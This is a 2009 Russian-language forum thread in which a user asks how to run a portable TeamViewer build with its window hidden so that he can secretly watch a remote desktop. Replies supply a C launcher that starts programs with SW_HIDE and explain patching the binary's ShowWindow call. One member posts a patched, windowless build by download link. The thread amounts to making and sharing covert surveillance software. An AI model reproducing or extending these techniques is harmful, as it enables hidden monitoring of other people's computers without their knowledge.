Скрываем окна программы

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by agentspy, 23 Mar 2009.

  1. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    Есть Portable прога имеет один ЕХЕ файл,Как скрыть главное окно программы при её запуске !! что-бы прога запускалась скрытно в фоновом режиме?
     
  2. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    ShellExecute(hWnd,TEXT("open"),TEXT("тут пишеш путь"), NULL, NULL,SW_HIDE);
     
  3. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    Я не дапонял куда это" ShellExecute(hWnd,TEXT("open"),TEXT("тут пишеш путь"), NULL, NULL,SW_HIDE);" вписать???

    Попробую так...Вот программа >>> http://s40.radikal.ru/i088/0903/73/3f324e6fbaed.jpg Когда её запускаешь ,Появляется главное окно этой программы !! Как сделать что-бы она работала Но главного окна на рабочем столе не было видно?
    Я думаю в самом ехе файле что-то надо изменить....А чем его открыть,и что там менять понятия не имею...Помогите как и что делать?
     
  4. diznt

    diznt Elder - Старейшина

    Joined:
    31 Jan 2008
    Messages:
    432
    Likes Received:
    164
    Reputations:
    -19
    Автору кажись надо не на программном языке
     
    1 person likes this.
  5. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    Зачем тогда постить в этот раздел?
     
  6. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    agentspy. Если портэйбл делал ты, то тебе нужно добавить небольшой код в главное приложение и снова запортить. Либо выкладывай прогу, разберемся.
     
    1 person likes this.
  7. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Ему отладчик(ollydbg, softice, ida) нужен со знанием ассемблера и winapi ^_^

    Тс, это уже готовый бинарник, его изменить можно только на низком уровне... Исходный код никак нельзя поправить/изменить.

    Проще написать отдельный лоадер на c/delphi
     
    #7 Chaak, 23 Mar 2009
    Last edited: 23 Mar 2009
  8. St0nX

    St0nX Elder - Старейшина

    Joined:
    19 May 2007
    Messages:
    257
    Likes Received:
    46
    Reputations:
    0
    Пример :) :
    Code:
    #include<windows.h>
    #include<stdio.h>
    
    BOOL CALLBACK EnumWndProc(HWND hwnd, LPARAM lParam)
    {
       if(GetWindowThreadProcessId(hwnd, NULL) == GetCurrentThreadId())
       {
          *(HWND*)lParam = hwnd;
          return FALSE;
       }
    
       return TRUE;
    }
    
    int main()
    {
    	char fName[255];
    	char fDir[255];
    	char tmp[] = "open";
    	int flag;
    	flag = 0;
    	HWND hWnd;
        EnumWindows(EnumWndProc, (LPARAM)&hWnd);
    	while(1)
    	{
    		printf("New apl? 1-yes, 0-no: ");
    		scanf("%d",&flag);
    		if(flag==0)
    		{
    			break;
    		}
    		if(flag==1)
    		{
    			printf("Input file name: ");
    			scanf("%s",&fName);
    			GetCurrentDirectoryA(sizeof(fDir),(LPSTR)fDir);
    			strcat(fDir,"\\");
    			strcat(fDir,fName);
    			printf("%s",fDir);
    			ShellExecuteA(hWnd,(LPCSTR)tmp,(LPCSTR)fDir, NULL, NULL, SW_HIDE);
    			printf("\r\n");
    		}
    	}
    	return 0;
    }
     
  9. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    agentspy. Если портэйбл делал ты, то тебе нужно добавить небольшой код в главное приложение и снова запортить. Либо выкладывай прогу, разберемся.
    ----------------------------------------------------------------------------------------------------------------------
    Да если бы сам :) я вообще когда заглядываю в ехе файл через ольгу мне Страшно(((

    Я сюда прогу выложил http://depositfiles.com/files/70n4ld2d6 гляньте кто...можно что-нить сделать ,Если нет то кто возмётся написать типо такой же проги Функция управления удалённым компутером мне в принципе не нужна ,Только смотреть за ним !!т.е видеть удалённый рабочий стол
     
    #9 agentspy, 23 Mar 2009
    Last edited: 23 Mar 2009
  10. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    А посмотрите прогу вдруг исходный код у неё открыт ....?
     
    #10 agentspy, 23 Mar 2009
    Last edited: 23 Mar 2009
  11. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    Благодарю млин я это не осилю
     
  12. s0l_ir0n

    s0l_ir0n Active Member

    Joined:
    14 Mar 2009
    Messages:
    399
    Likes Received:
    144
    Reputations:
    18
    ТС, в общем показ главного окна я убрал, но как ты будешь узнавать пароль? ведь он каждый раз разный и пишется именно в этом окне... вобщем вот
    http://multi-up.com/71463
     
  13. agentspy

    agentspy Member

    Joined:
    21 Mar 2009
    Messages:
    36
    Likes Received:
    5
    Reputations:
    -1
    ТС, в общем показ главного окна я убрал, но как ты будешь узнавать пароль? ведь он каждый раз разный и пишется именно в этом окне... вобщем вот
    http://multi-up.com/71463

    s0l_ir0n. БРАВО Очень благодарю!!! +++++ всё сделано Супер Окна нет.
     
    #13 agentspy, 24 Mar 2009
    Last edited: 24 Mar 2009
  14. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    ТС, вот распакованый полностью ТимВью (портабла)

    http://rapidshare.com/files/212974252/---.rar.html

    s0l_ir0n, эээ... если не секрет: как убрал прорисовку окна, если сам ехе запакован 4 раза? =\ Если распаковывал, то чем, и как назад паковал кучи ехе/dll
     
  15. Lamia

    Lamia Elder - Старейшина

    Joined:
    11 Jul 2007
    Messages:
    186
    Likes Received:
    77
    Reputations:
    -9
    Распаковывается в темп папку,потом в основном файле в функции
    ShowWindow,SW_SHOW меняется на SW_HIDE.
     
  16. ex3me

    ex3me Member

    Joined:
    7 Jan 2009
    Messages:
    0
    Likes Received:
    63
    Reputations:
    0
    Lamia, а я как дебил снимал 4 пакера =\ Оказывается можно было сделать все гораздо проще ))